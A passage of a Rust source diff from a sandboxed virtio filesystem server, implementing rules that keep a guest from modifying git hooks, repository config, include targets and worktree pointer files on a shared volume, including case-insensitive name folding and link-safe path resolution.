checked; hooks, tracked hooks and include targets are immutable. A refusal is `EPERM` and reports a ++// `git_protected` notice; an allowed write to a watched name reports its own notice. ++ ++use std::collections::{HashMap, HashSet, VecDeque}; ++use std::ffi::CString; ++use std::io::{self, Read}; ++use std::os::fd::{AsRawFd, OwnedFd, RawFd}; ++use std::sync::Arc; ++ ++use super::gitconfig::{self, ConfigEntry}; ++use super::notice::NoticeKind; ++use super::sys::{self, err, lx}; ++use super::{check_name, dev_ino, kind_of, ConfinedFs, Kind, Mutation, State, LINUX_RENAME_EXCHANGE, ROOT_ID}; ++use crate::virtio::fs::filesystem::SetattrValid; ++ ++/// A pointer file's buffered content may not exceed this; more is `EPERM`. ++pub const POINTER_MAX: usize = 4096; ++/// A config file the server reads (the rename source, or a config it re-validates) may not exceed this. ++pub const CONFIG_MAX: u64 = 1 << 20; ++/// git's own include depth limit. ++pub const INCLUDE_DEPTH: usize = 10; ++/// Symbolic links followed while resolving one tracked path. ++const LINK_HOPS: usize = 40; ++/// Directories below one repository's `modules/` and `worktrees/` read at discovery; beyond this the whole ++/// git directory is held immutable (the strict treatment). ++pub const SCAN_BUDGET: usize = 4096; ++/// Nesting below `modules/` and `worktrees/` read at discovery (a submodule name may hold slashes). ++const SCAN_DEPTH: usize = 16; ++ ++/// The names of every git hook (githooks(5)); husky v9's `.husky/` files carry these names. ++pub const GIT_HOOKS: [&str; 28] = [ ++ "applypatch-msg", ++ "pre-applypatch", ++ "post-applypatch", ++ "pre-commit", ++ "pre-merge-commit", ++ "prepare-commit-msg", ++ "commit-msg", ++ "post-commit", ++ "pre-rebase", ++ "post-checkout", ++ "post-merge", ++ "pre-push", ++ "pre-receive", ++ "update", ++ "proc-receive", ++ "post-receive", ++ "post-update", ++ "reference-transaction", ++ "push-to-checkout", ++ "pre-auto-gc", ++ "post-rewrite", ++ "sendemail-validate", ++ "fsmonitor-watchman", ++ "p4-changelist", ++ "p4-prepare-changelist", ++ "p4-post-changelist", ++ "p4-pre-submit", ++ "post-index-change", ++]; ++ ++const CONFIGS: [&str; 2] = ["config", "config.worktree"]; ++const MARKERS: [&str; 3] = ["HEAD", "commondir", "gitdir"]; ++ ++/// Folds a name as APFS compares names on a case-insensitive volume, for comparison with the protected ++/// names: ASCII case, plus every code point whose canonical decomposition and case folding is ASCII ++/// (U+212A KELVIN SIGN, U+017F LONG S, U+037E, U+1FEF, and the full folds of U+00DF, U+1E9E and the ++/// U+FB00-U+FB06 ligatures, which only ever make the match wider). Any other code point stays non-ASCII, ++/// so it can never fold onto an ASCII name. ++pub fn fold(name: &[u8]) -> String { ++ let text = String::from_utf8_lossy(name); ++ let mut out = String::with_capacity(text.len()); ++ for c in text.chars() { ++ match c { ++ '\u{212A}' => out.push('k'), ++ '\u{017F}' => out.push('s'), ++ '\u{037E}' => out.push(';'), ++ '\u{1FEF}' => out.push('`'), ++ '\u{00DF}' | '\u{1E9E}' => out.push_str("ss"), ++ '\u{FB00}' => out.push_str("ff"), ++ '\u{FB01}' => out.push_str("fi"), ++ '\u{FB02}' => out.push_str("fl"), ++ '\u{FB03}' => out.push_str("ffi"), ++ '\u{FB04}' => out.push_str("ffl"), ++ '\u{FB05}' | '\u{FB06}' => out.push_str("st"), ++ _ => out.extend(c.to_lowercase()), ++ } ++ } ++ out ++} ++ ++#[derive(Clone, Copy, Debug, PartialEq, Eq)] ++pub enum PointerKind { ++ /// `.git` as a regular file: `gitdir: `. ++ Gitfile, ++ /// A worktree's `commondir`. ++ Commondir, ++ /// A worktree's `gitdir`. ++ Gitdir, ++} ++ ++/// A pointer file's content as the guest writes it; nothing reaches the host until it is checked. ++pub struct Pointer { ++ pub kind: PointerKind, ++ pub buf: Vec, ++ pub dirty: bool, ++} ++ ++/// What R15 makes of one existing node. ++#[derive(Clone, Copy, Debug, PartialEq, Eq)] ++pub enum Class { ++ Plain, ++ /// A hooks entry, anything below one, a tracked hook or an include target: no mutation at all. ++ Immutable, ++ /// `config` or `config.worktree` in the zone: changed only by the checked lock rename. ++ Config, ++ /// A pointer file: written only through a checked buffer. ++ Pointer(PointerKind), ++} ++ ++/// A tracked path (a `core.hooksPath` tree, a husky hook, an include target), held by its chain of names ++/// from the share root so a target that does not exist yet is protected too. ++#[derive(Clone, Debug, PartialEq, Eq)] ++pub struct Target { ++ pub chain: Vec>, ++ pub tree: bool, ++ /// The path as written (lexical, links not resolved): each of its components, and every link met while ++ /// resolving it, is a protected name that cannot be removed, renamed, replaced or re-pointed. ++ pub written: Vec>, ++ /// Only the written names are protected, not what they reach (a `.git` link: the git directory it ++ /// reaches is the zone instead, where git keeps working). ++ pub names_only: bool, ++} ++ ++/// The R15 state of one device. ++pub struct GitState { ++ pub case_sensitive: bool, ++ /// Protected entries seen so far, by (dev, ino), so a second spelling is recognised whatever its bytes. ++ held: HashMap<(u64, u64), Class>, ++ /// Tracked hooks and include targets (only ever grows within an incarnation). ++ pub targets: Vec, ++ /// (git directory, work tree top) pairs whose configuration was read. ++ repos: HashSet<((u64, u64), (u64, u64))>, ++ /// Git directories reached through a symbolic link named `.git`: their whole subtree is treated as ++ /// lying below a `.git` (the zone), by identity. ++ zone_roots: HashSet<(u64, u64)>, ++} ++ ++impl GitState { ++ pub fn new(case_sensitive: bool) -> Self { ++ GitState { case_sensitive, held: HashMap::new(), targets: Vec::new(), repos: HashSet::new(), zone_roots: HashSet::new() } ++ } ++ ++ /// Whether `name` is the protected name `want` on this volume. ++ pub fn is(&self, name: &[u8], want: &str) -> bool { ++ if self.case_sensitive { ++ name == want.as_bytes() ++ } else { ++ fold(name) == fold(want.as_bytes()) ++ } ++ } ++ ++ fn is_any(&self, name: &[u8], wants: &[&str]) -> bool { ++ wants.iter().any(|w| self.is(name, w)) ++ } ++ ++ fn ends(&self, name: &[u8], suffix: &str) -> bool { ++ if self.case_sensitive { ++ name.ends_with(suffix.as_bytes()) ++ } else { ++ fold(name).ends_with(&fold(suffix.as_bytes())) ++ } ++ } ++ ++ /// Whether a new name may alias a missing tracked name. Folded equality; and where the tracked name ++ /// keeps a non-ASCII character after folding, any non-ASCII name (the server does not carry the full ++ /// Unicode decomposition tables, so it refuses wider rather than narrower). ++ fn may_alias(&self, name: &[u8], tracked: &[u8]) -> bool { ++ if self.case_sensitive { ++ return name == tracked; ++ } ++ let (a, b) = (fold(name), fold(tracked)); ++ a == b || (!a.is_ascii() && !b.is_ascii()) ++ } ++ ++ fn add_target(&mut self, target: Target) { ++ if !self.targets.contains(&target) { ++ self.targets.push(target); ++ } ++ } ++} ++ ++/// One directory on a chain from the share root: its name in its parent (empty for the root), a held ++/// descriptor and its identity. ++#[derive(Clone)] ++struct Hop { ++ name: Vec, ++ fd: Arc, ++ id: (u64, u64), ++} ++ ++/// Where a directory sits. ++#[derive(Clone, Copy, Debug, Default)] ++struct Place { ++ /// Inside a `refs/` or `logs/` subtree directly below a git directory. ++ exempt: bool, ++ /// The directory or an ancestor is named `.git`. ++ dotgit: bool, ++ /// The directory is a git directory (named `.git`, or holding `HEAD`, `commondir` or `gitdir`). ++ git_dir: bool, ++ /// The protected zone: a git directory, or anything below a `.git`, outside the exempt subtrees. ++ zone: bool, ++} ++ ++/// The result of resolving a path inside the share, without ever following a link on the host. ++enum Walk { ++ /// An existing directory, with its whole chain. ++ Dir(Vec), ++ /// An existing non-directory. ++ File { parent: Vec, name: Vec, stat: libc::stat }, ++ /// The path stops existing at `rest[0]` inside the last directory of `parent`. ++ Missing { parent: Vec, rest: Vec> }, ++ /// Leaves the share, crosses a device, holds a name R1 refuses, a non-directory in the middle, or too ++ /// many links. ++ Outside, ++ /// A link where none is allowed (pointer targets). ++ Link, ++} ++ ++#[derive(Clone, Copy, Debug, PartialEq, Eq)] ++enum Tracked { ++ Tree, ++ File, ++ NamesOnly, ++} ++ ++#[derive(Clone, Copy, Debug, PartialEq, Eq)] ++enum How { ++ File, ++ Dir, ++ Symlink, ++ Link, ++ RenameFile, ++ RenameDir, ++} ++ ++#[derive(Clone, Copy, Debug, PartialEq, Eq)] ++enum Removal { ++ Unlink, ++ Rmdir, ++ RenameOut, ++} ++ ++fn refuse() -> io::Result { ++ Err(err(lx::EPERM)) ++} ++ ++fn cstring(name: &[u8]) -> io::Result { ++ CString::new(name).map_err(|_| err(lx::EINVAL)) ++} ++ ++fn ids(chain: &[Hop]) -> Vec<(u64, u64)> { ++ chain.iter().map(|h| h.id).collect() ++} ++ ++/// The path of a gitfile, as git reads it for discovery (`gitdir: ` and trailing whitespace trimmed). ++fn gitfile_path(text: &[u8]) -> Option<&[u8]> { ++ let mut path = text.strip_prefix(b"gitdir: ")?; ++ while let Some((last, rest)) = path.split_last() { ++ if last.is_ascii_whitespace() { ++ path = rest; ++ } else { ++ break; ++ } ++ } ++ (!path.is_empty()).then_some(path) ++} ++ ++/// The one line a pointer file may hold: its form exactly, one optional trailing newline, nothing else. ++fn pointer_line(buf: &[u8], kind: PointerKind) -> Option<&[u8]> { ++ let body = buf.strip_suffix(b"\n").unwrap_or(buf); ++ if body.is_empty() || body.iter().any(|b| matches!(*b, b'\n' | b'\r' | 0)) { ++ return None; ++ } ++ match kind { ++ PointerKind::Gitfile => body.strip_prefix(b"gitdir: ").filter(|p| !p.is_empty()), ++ _ => Some(body), ++ } ++} ++ ++impl ConfinedFs { ++ // ---- the host view ---------------------------------------------------------------------------- ++ ++ fn root_hop(&self, st: &State) -> io::Result { ++ let fd = st.root.clone().ok_or_else(|| err(lx::EACCES))?; ++ Ok(Hop { name: Vec::new(), fd, id: (self.root_dev, self.root_ino) }) ++ } ++ ++ /// The chain of directories from the root to directory node `id` (inclusive). ++ fn node_chain(&self, st: &mut State, id: u64) -> io::Result> { ++ let mut path = Vec::new(); ++ let mut current = id; ++ while current != ROOT_ID { ++ if path.len() > st.nodes.len() { ++ return Err(err(lx::ESTALE)); ++ } ++ path.push(current); ++ current = st.nodes.get(¤t).ok_or_else(|| err(lx::ESTALE))?.parent; ++ } ++ let mut chain = vec![self.root_hop(st)?]; ++ for node in path.into_iter().rev() { ++ let fd = self.dir_fd(st, node)?; ++ let n = &st.nodes[&node]; ++ chain.push(Hop { name: n.name.to_bytes().to_vec(), fd, id: (n.dev, n.ino) }); ++ } ++ Ok(chain) ++ } ++ ++ /// The entry `name` of a held directory, never followed; `None` when it does not exist. ++ fn holds(&self, dir: RawFd, name: &[u8]) -> io::Result> { ++ match self.host.fstatat(dir, &cstring(name)?) { ++ Ok(s) => Ok(Some(s)), ++ Err(e) if e.raw_os_error() == Some(lx::ENOENT) => Ok(None), ++ Err(e) => Err(e), ++ } ++ } ++ ++ /// Reads a small regular file through a fresh descriptor, confirmed to be the entry `expect` (R2). ++ /// Anything but a regular file, or more than `max` bytes, is refused. ++ fn read_small(&self, dir: RawFd, name: &[u8], expect: &libc::stat, max: u64) -> io::Result> { ++ let fd = self.host.openat(dir, &cstring(name)?, libc::O_RDONLY | libc::O_NONBLOCK, 0)?; ++ let s = sys::fstat(&fd)?; ++ if dev_ino(&s) != dev_ino(expect) { ++ return Err(err(lx::ESTALE)); ++ } ++ if kind_of(s.st_mode) != Kind::File { ++ return refuse(); ++ } ++ let mut text = Vec::new(); ++ std::fs::File::from(fd).take(max + 1).read_to_end(&mut text)?; ++ if text.len() as u64 > max { ++ return refuse(); ++ } ++ Ok(text) ++ } ++ ++ fn hop_into(&self, chain: &[Hop], name: &[u8], s: &libc::stat) -> io::Result { ++ let parent = chain.last().ok_or_else(|| err(lx::ESTALE))?; ++ let fd = self.open_dir_at(parent.fd.as_raw_fd(), &cstring(name)?, s.st_dev as u64, s.st_ino)?; ++ Ok(Hop { name: name.to_vec(), fd: Arc::new(fd), id: dev_ino(s) }) ++ } ++ ++ /// A path a config or pointer file names: relative (to `base`), or absolute under the share's guest ++ /// mount path. `~` and any other absolute path are outside the share. ++ fn split_path(&self, text: &[u8]) -> Option<(bool, Vec>)> { ++ let parts = |t: &[u8]| t.split(|b| *b == b'/').map(|p| p.to_vec()).collect::>(); ++ if text.first() == Some(&b'~') { ++ return None; ++ } ++ if text.first() != Some(&b'/') { ++ return Some((false, parts(text))); ++ } ++ let mut guest = self.guest_path.to_bytes(); ++ while guest.len() > 1 && guest.ends_with(b"/") { ++ guest = &guest[..guest.len() - 1]; ++ } ++ if guest.is_empty() { ++ return None; ++ } ++ if guest == b"/" { ++ return Some((true, parts(&text[1..]))); ++ } ++ if text == guest { ++ return Some((true, Vec::new())); ++ } ++ match text.strip_prefix(guest) { ++ Some(rest) if rest.first() == Some(&b'/') => Some((true, parts(&rest[1..]))), ++ _ => None, ++ } ++ } ++ ++ /// Resolves `comps` from `start` through held descriptors. `follow`: a link on the way is read and ++ /// resolved by the server itself (inside the share only); otherwise a link ends the walk. ++ fn walk(&self, st: &State, start: Vec, comps: Vec>, follow: bool) -> io::Result { ++ self.walk_noting(st, start, comps, follow, None) ++ } ++ ++ /// `walk`, also noting (directory identity, name) of every component it meets, links included. ++ fn walk_noting(&self, st: &State, start: Vec, comps: Vec>, follow: bool, mut seen: Option<&mut Vec<((u64, u64), Vec)>>) -> io::Result { ++ let root = self.root_hop(st)?; ++ let mut chain = start; ++ let mut queue: VecDeque> = comps.into(); ++ let mut links = 0; ++ while let Some(c) = queue.pop_front() { ++ if c.is_empty() || c == b"." { ++ continue; ++ } ++ if c == b".." { ++ if chain.len() <= 1 { ++ return Ok(Walk::Outside); ++ } ++ chain.pop(); ++ continue; ++ } ++ if check_name(&c).is_err() { ++ return Ok(Walk::Outside); ++ } ++ let dir = chain.last().ok_or_else(|| err(lx::ESTALE))?.fd.clone(); ++ if let Some(seen) = seen.as_deref_mut() { ++ seen.push((chain.last().map(|h| h.id).unwrap_or_default(), c.clone())); ++ } ++ let Some(s) = self.holds(dir.as_raw_fd(), &c)? else { ++ let mut rest = vec![c]; ++ rest.extend(queue); ++ return Ok(Walk::Missing { parent: chain, rest }); ++ }; ++ if s.st_dev as u64 != self.root_dev { ++ return Ok(Walk::Outside); ++ } ++ let more = queue.iter().any(|q| !q.is_empty() && q != b"."); ++ match kind_of(s.st_mode) { ++ Kind::Symlink => { ++ if !follow { ++ return Ok(Walk::Link); ++ } ++ links += 1; ++ if links > LINK_HOPS { ++ return Ok(Walk::Outside); ++ } ++ let text = self.host.readlinkat(dir.as_raw_fd(), &cstring(&c)?)?; ++ let Some((absolute, parts)) = self.split_path(&text) else { return Ok(Walk::Outside) }; ++ if absolute { ++ chain = vec![root.clone()]; ++ } ++ for part in parts.into_iter().rev() { ++ queue.push_front(part); ++ } ++ } ++ Kind::Dir => { ++ let hop = self.hop_into(&chain, &c, &s)?; ++ chain.push(hop); ++ } ++ _ if more => return Ok(Walk::Outside), ++ _ => return Ok(Walk::File { parent: chain, name: c, stat: s }), ++ } ++ } ++ Ok(Walk::Dir(chain)) ++ } ++ ++ fn walk_text(&self, st: &State, base: Vec, text: &[u8], follow: bool) -> io::Result { ++ let Some((absolute, parts)) = self.split_path(text) else { return Ok(Walk::Outside) }; ++ let start = if absolute { vec![self.root_hop(st)?] } else { base }; ++ self.walk(st, start, parts, follow) ++ } ++ ++ // ---- git directories and the zone -------------------------------------------------------------- ++ ++ fn is_git_dir(&self, g: &GitState, hop: &Hop) -> io::Result { ++ if !hop.name.is_empty() && g.is(&hop.name, ".git") { ++ return Ok(true); ++ } ++ for marker in MARKERS { ++ if self.holds(hop.fd.as_raw_fd(), marker.as_bytes())?.is_some() { ++ return Ok(true); ++ } ++ } ++ Ok(false) ++ } ++ ++ fn place(&self, g: &GitState, chain: &[Hop]) -> io::Result { ++ let mut place = Place::default(); ++ for i in 0..chain.len() { ++ if g.zone_roots.contains(&chain[i].id) { ++ place.dotgit = true; ++ } ++ if i == 0 { ++ continue; ++ } ++ let name = &chain[i].name; ++ if g.is(name, ".git") { ++ place.dotgit = true; ++ } ++ if !place.exempt && g.is_any(name, &["refs", "logs"]) && self.is_git_dir(g, &chain[i - 1])? { ++ place.exempt = true; ++ } ++ } ++ if place.exempt { ++ return Ok(place); ++ } ++ place.git_dir = match chain.last() { ++ Some(hop) => self.is_git_dir(g, hop)?, ++ None => false, ++ }; ++ place.zone = place.git_dir || place.dotgit; ++ Ok(place) ++ } ++ ++ /// The chain passes through an entry named `hooks` in the zone. ++ fn below_hooks(&self, g: &GitState, chain: &[Hop]) -> io::Result { ++ for i in 1..chain.len() { ++ if g.is(&chain[i].name, "hooks") && self.place(g, &chain[..i])?.zone { ++ return Ok(true); ++ } ++ } ++ Ok(false) ++ } ++ ++ /// `config` or `config.worktree` in this directory fails the allowlist with every key treated as added ++ /// (or is not a readable regular file of at most 1 MiB). ++ fn failing_config(&self, g: &GitState, chain: &[Hop]) -> io::Result { ++ let dir = chain.last().ok_or_else(|| err(lx::ESTALE))?.fd.as_raw_fd(); ++ for name in CONFIGS { ++ let Some(s) = self.holds(dir, name.as_bytes())? else { continue }; ++ let Ok(text) = self.read_small(dir, name.as_bytes(), &s, CONFIG_MAX) else { return Ok(true) }; ++ let Ok(entries) = gitconfig::parse(&text) else { return Ok(true) }; ++ let mut ok = |v: &[u8]| self.worktree_ok(g, chain, v); ++ if entries.iter().any(|e| !gitconfig::admitted(e, &mut ok)) { ++ return Ok(true); ++ } ++ } ++ Ok(false) ++ } ++ ++ /// The creation-order test (H5): the directory holds a `hooks` entry or a non-admitted config. ++ fn failing_dir(&self, g: &GitState, chain: &[Hop]) -> io::Result { ++ let dir = chain.last().ok_or_else(|| err(lx::ESTALE))?.fd.as_raw_fd(); ++ Ok(self.holds(dir, b"hooks")?.is_some() || self.failing_config(g, chain)?) ++ } ++ ++ /// `core.worktree` is admitted only in a submodule's own git directory (strictly below a `modules/` ++ /// directly under a git directory of a `.git` chain), as a relative path to a directory of the share ++ /// outside every `.git`: exactly what `git submodule update` writes. ++ fn worktree_ok(&self, g: &GitState, chain: &[Hop], value: &[u8]) -> bool { ++ let located = (1..chain.len().saturating_sub(1)).any(|k| { ++ g.is(&chain[k].name, "modules") && matches!(self.place(g, &chain[..k]), Ok(p) if p.git_dir && p.dotgit && !p.exempt) ++ }); ++ if !located || value.is_empty() || matches!(value[0], b'/' | b'~') { ++ return false; ++ } ++ let mut names: Vec> = chain[1..].iter().map(|h| h.name.clone()).collect(); ++ for part in value.split(|b| *b == b'/') { ++ match part { ++ b"" | b"." => {} ++ b".." => { ++ if names.pop().is_none() { ++ return false; ++ } ++ } ++ other => names.push(other.to_vec()), ++ } ++ } ++ !names.iter().any(|n| g.is(n, ".git")) ++ } ++ ++ // ---- tracked hooks and include targets (T17b) -------------------------------------------------- ++ ++ /// Discovery (before anything below `dir` is served): if `dir` holds a `.git` or is a git directory, ++ /// that repository's configuration is read and its tracked hooks and include targets recorded. ++ pub(super) fn git_discover(&self, st: &mut State, dir: u64) -> io::Result<()> { ++ let Some(mut g) = st.git.take() else { return Ok(()) }; ++ let res = self.node_chain(st, dir).and_then(|chain| self.discover_chain(st, &mut g, &chain)); ++ st.git = Some(g); ++ res ++ } ++ ++ fn discover_chain(&self, st: &State, g: &mut GitState, chain: &[Hop]) -> io::Result<()> { ++ let last = chain.last().ok_or_else(|| err(lx::ESTALE))?; ++ let dir = last.fd.as_raw_fd(); ++ if let Some(s) = self.holds(dir, b".git")? { ++ if s.st_dev as u64 == self.root_dev { ++ match kind_of(s.st_mode) { ++ Kind::Dir => { ++ let mut git_dir = chain.to_vec(); ++ git_dir.push(self.hop_into(chain, b".git", &s)?); ++ self.discover_git_dir(st, g, &git_dir, chain, false)?; ++ } ++ // A `.git` that is a link (made on the Mac): resolved by the server's own walk inside the ++ // share; the git directory it reaches is the zone by identity, and the link and every ++ // hop to it are protected names. ++ Kind::Symlink => match self.track(st, g, chain.to_vec(), b".git", Tracked::NamesOnly)? { ++ Some(Walk::Dir(git_dir)) => { ++ if let Some(hop) = git_dir.last() { ++ g.zone_roots.insert(hop.id); ++ } ++ self.discover_git_dir(st, g, &git_dir, chain, false)?; ++ } ++ // A gitfile (or anything else) reached through a link is held immutable. ++ Some(_) => { ++ self.track(st, g, chain.to_vec(), b".git", Tracked::File)?; ++ } ++ None => {} ++ }, ++ Kind::File => { ++ if let Ok(text) = self.read_small(dir, b".git", &s, POINTER_MAX as u64) { ++ if let Some(path) = gitfile_path(&text) { ++ if let Walk::Dir(git_dir) = self.walk_text(st, chain.to_vec(), path, true)? { ++ self.discover_git_dir(st, g, &git_dir, chain, false)?; ++ } ++ } ++ } ++ } ++ _ => {} ++ } ++ } ++ } ++ if self.is_git_dir(g, last)? { ++ let top = if !last.name.is_empty() && g.is(&last.name, ".git") { &chain[..chain.len() - 1] } else { chain }; ++ self.discover_git_dir(st, g, chain, top, false)?; ++ } ++ Ok(()) ++ } ++ ++ fn discover_git_dir(&self, st: &State, g: &mut GitState, git_dir: &[Hop], top: &[Hop], again: bool) -> io::Result<()> { ++ let hop = git_dir.last().ok_or_else(|| err(lx::ESTALE))?; ++ if !g.repos.insert((hop.id, top.last().map(|h| h.id).unwrap_or_default())) && !again { ++ return Ok(()); ++ } ++ let mut files: Vec<(Vec, &[u8])> = vec![(git_dir.to_vec(), b"config"), (git_dir.to_vec(), b"config.worktree")]; ++ if let Some(s) = self.holds(hop.fd.as_raw_fd(), b"commondir")? { ++ if let Ok(text) = self.read_small(hop.fd.as_raw_fd(), b"commondir", &s, POINTER_MAX as u64) { ++ let path = text.strip_suffix(b"\n").unwrap_or(&text); ++ if let Walk::Dir(common) = self.walk_text(st, git_dir.to_vec(), path, true)? { ++ files.push((common, b"config")); ++ } ++ } ++ } ++ for (dir, name) in files { ++ self.collect(st, g, &dir, name, top, 0)?; ++ } ++ // Links among the names git reads here (made on the Mac): what they reach is held immutable. ++ for (name, how) in [(&b"hooks"[..], Tracked::Tree), (b"commondir", Tracked::File), (b"gitdir", Tracked::File)] { ++ if self.holds(hop.fd.as_raw_fd(), name)?.is_some_and(|s| kind_of(s.st_mode) == Kind::Symlink) { ++ self.track(st, g, git_dir.to_vec(), name, how)?; ++ } ++ } ++ // Nested git directories (submodules, worktrees) are read now too, before anything below is ++ // served; past the budget the whole git directory is held immutable. ++ let mut budget = SCAN_BUDGET; ++ for sub in [&b"modules"[..], b"worktrees"] { ++ if let Some(s) = self.holds(hop.fd.as_raw_fd(), sub)? { ++ if kind_of(s.st_mode) == Kind::Dir { ++ let mut chain = git_dir.to_vec(); ++ chain.push(self.hop_into(git_dir, sub, &s)?); ++ if !self.scan_nested(st, g, &chain, 0, &mut budget)? { ++ let names: Vec> = git_dir[1..].iter().map(|h| h.name.clone()).collect(); ++ g.add_target(Target { chain: names.clone(), tree: true, written: names, names_only: false }); ++ self.notices.push(NoticeKind::GitProtected); ++ return Ok(()); ++ } ++ } ++ } ++ } ++ Ok(()) ++ } ++ ++ /// Reads every git directory below `chain` (no links followed). `false` when the budget or the depth ++ /// ran out. ++ fn scan_nested(&self, st: &State, g: &mut GitState, chain: &[Hop], depth: usize, budget: &mut usize) -> io::Result { ++ if depth >= SCAN_DEPTH { ++ return Ok(false); ++ } ++ let dir = chain.last().ok_or_else(|| err(lx::ESTALE))?.fd.as_raw_fd(); ++ for name in sys::list_dir(dir)? { ++ let Some(s) = self.holds(dir, &name)? else { continue }; ++ if kind_of(s.st_mode) != Kind::Dir || s.st_dev as u64 != self.root_dev || check_name(&name).is_err() { ++ continue; ++ } ++ if *budget == 0 { ++ return Ok(false); ++ } ++ *budget -= 1; ++ let mut child = chain.to_vec(); ++ child.push(self.hop_into(chain, &name, &s)?); ++ if self.is_git_dir(g, child.last().ok_or_else(|| err(lx::ESTALE))?)? { ++ self.discover_git_dir(st, g, &child, &child, false)?; ++ } else if !self.scan_nested(st, g, &child, depth + 1, budget)? { ++ return Ok(false); ++ } ++ } ++ Ok(true) ++ } ++ ++ /// Reads one config file and records its `core.hooksPath` tree (and husky v9's hook files) and every ++ /// include target under any condition, following nested includes to git's depth limit. ++ fn collect(&self, st: &State, g: &mut GitState, dir: &[Hop], name: &[u8], top: &[Hop], depth: usize) -> io::Result<()> { ++ let fd = dir.last().ok_or_else(|| err(lx::ESTALE))?.fd.as_raw_fd(); ++ let Some(s) = self.holds(fd, name)? else { return Ok(()) }; ++ if kind_of(s.st_mode) == Kind::Symlink { ++ // A config that is a link (made on the Mac): git follows it. The link and every hop are protected ++ // names, what it reaches is immutable, and that file is read like the config itself. ++ if let Some(Walk::File { parent, name, .. }) = self.track(st, g, dir.to_vec(), name, Tracked::File)? { ++ if depth + 1 < INCLUDE_DEPTH { ++ self.collect(st, g, &parent, &name, top, depth + 1)?; ++ } ++ } ++ return Ok(()); ++ } ++ // A config the server cannot read or parse fails closed: it is held immutable (it names hooks the ++ // server cannot see), and the refusal is reported. ++ let entries = match self.read_small(fd, name, &s, CONFIG_MAX).map(|t| gitconfig::parse(&t)) { ++ Ok(Ok(entries)) => entries, ++ _ => { ++ self.track(st, g, dir.to_vec(), name, Tracked::File)?; ++ self.notices.push(NoticeKind::GitProtected); ++ return Ok(()); ++ } ++ }; ++ for e in entries { ++ let Some(value) = e.value.as_deref() else { continue }; ++ if e.section == "core" && e.subsection.is_none() && e.key == "hookspath" { ++ self.track(st, g, top.to_vec(), value, Tracked::Tree)?; ++ } ++ let include = (e.section == "include" && e.subsection.is_none()) || (e.section == "includeif" && e.subsection.is_some()); ++ if include && e.key == "path" { ++ if let Some(Walk::File { parent, name, .. }) = self.track(st, g, dir.to_vec(), value, Tracked::File)? { ++ if depth + 1 < INCLUDE_DEPTH { ++ self.collect(st, g, &parent, &name, top, depth + 1)?; ++ } ++ } ++ } ++ } ++ Ok(()) ++ } ++ ++ /// Records the path `text` (relative to `base`) as a tracked target; a husky v9 hooks path ++ /// (`.husky/_`) also tracks `.husky/` for every git hook. ++ fn track(&self, st: &State, g: &mut GitState, base: Vec, text: &[u8], how: Tracked) -> io::Result> { ++ let (tree, names_only) = (how == Tracked::Tree, how == Tracked::NamesOnly); ++ // The written path, lexically from the root (links not resolved). ++ let written = match self.split_path(text) { ++ None => None, ++ Some((absolute, parts)) => { ++ let mut names: Vec> = if absolute { Vec::new() } else { base[1..].iter().map(|h| h.name.clone()).collect() }; ++ let mut ok = true; ++ for part in parts { ++ match part.as_slice() { ++ b"" | b"." => {} ++ b".." => ok &= names.pop().is_some(), ++ _ => names.push(part), ++ } ++ } ++ (ok && !names.is_empty()).then_some(names) ++ } ++ }; ++ let walk = self.walk_text(st, base, text, true)?; ++ if let (Walk::Outside | Walk::Link, Some(written)) = (&walk, &written) { ++ // Out of the share: only the names on the way here stay protected. ++ g.add_target(Target { chain: Vec::new(), tree: false, written: written.clone(), names_only: true }); ++ } ++ let chain: Vec> = match &walk { ++ Walk::Dir(c) => c[1..].iter().map(|h| h.name.clone()).collect(), ++ Walk::File { parent, name, .. } => parent[1..].iter().map(|h| h.name.clone()).chain([name.clone()]).collect(), ++ Walk::Missing { parent, rest } => { ++ let mut names: Vec> = parent[1..].iter().map(|h| h.name.clone()).collect(); ++ for part in rest { ++ match part.as_slice() { ++ b"" | b"." => {} ++ b".." => { ++ if names.pop().is_none() { ++ return Ok(None); ++ } ++ } ++ other => names.push(other.to_vec()), ++ } ++ } ++ names ++ } ++ Walk::Outside | Walk::Link => return Ok(None), ++ }; ++ if chain.is_empty() { ++ return Ok(None); ++ } ++ let written = written.unwrap_or_else(|| chain.clone()); ++ let n = chain.len(); ++ if tree && n >= 2 && g.is(&chain[n - 2], ".husky") && g.is(&chain[n - 1], "_") { ++ for hook in GIT_HOOKS { ++ let mut file = chain[..n - 1].to_vec(); ++ file.push(hook.as_bytes().to_vec()); ++ let mut by_name = written[..written.len().saturating_sub(1)].to_vec(); ++ by_name.push(hook.as_bytes().to_vec()); ++ g.add_target(Target { chain: file, tree: false, written: by_name, names_only: false }); ++ } ++ } ++ g.add_target(Target { chain, tree, written, names_only }); ++ Ok(Some(walk)) ++ } ++ ++ fn resolve_targets(&self, st: &State, g: &GitState) -> io::Result> { ++ let root = self.root_hop(st)?; ++ g.targets.iter().filter(|t| !t.names_only).map(|t| Ok((t.tree, self.walk(st, vec![root.clone()], t.chain.clone(), true)?))).collect() ++ } ++ ++ /// Every protected name of the tracked paths: (directory identity, name) of each component of a ++ /// written path, and of every link met while resolving it. ++ fn protected_names(&self, st: &State, g: &GitState) -> io::Result)>> { ++ let root = self.root_hop(st)?; ++ let mut names = Vec::new(); ++ for t in &g.targets { ++ self.walk_noting(st, vec![root.clone()], t.written.clone(), true, Some(&mut names))?; ++ } ++ Ok(names) ++ } ++ ++ fn is_protected_name(&self, st: &State, g: &GitState, dir: &[Hop], name: &[u8]) -> io::Result { ++ if g.targets.is_empty() { ++ return Ok(false); ++ } ++ let d = dir.last().map(|h| h.id).unwrap_or_default(); ++ Ok(self.protected_names(st, g)?.iter().any(|(id, n)| *id == d && g.may_alias(name, n))) ++ } ++ ++ /// A new entry `name` in `dir` would create a tracked target (or move a directory onto its path), or ++ /// lands inside a tracked tree. ++ fn target_refuses_new(&self, st: &State, g: &GitState, dir: &[Hop], name: &[u8], dir_rename: bool) -> io::Result { ++ let here = ids(dir); ++ let d = dir.last().map(|h| h.id); ++ for (_, walk) in self.resolve_targets(st, g)? { ++ match walk { ++ Walk::Dir(c) => { ++ if c.last().is_some_and(|t| here.contains(&t.id)) { ++ return Ok(true); ++ } ++ } ++ Walk::Missing { parent, rest } => { ++ let next = rest.iter().find(|r| !r.is_empty() && r.as_slice() != b"."); ++ let remaining = rest.iter().filter(|r| !r.is_empty() && r.as_slice() != b".").count(); ++ if let Some(next) = next { ++ if parent.last().map(|h| h.id) == d && g.may_alias(name, next) && (remaining == 1 || dir_rename) { ++ return Ok(true); ++ } ++ } ++ } ++ _ => {} ++ } ++ } ++ Ok(false) ++ } ++ ++ /// An existing entry 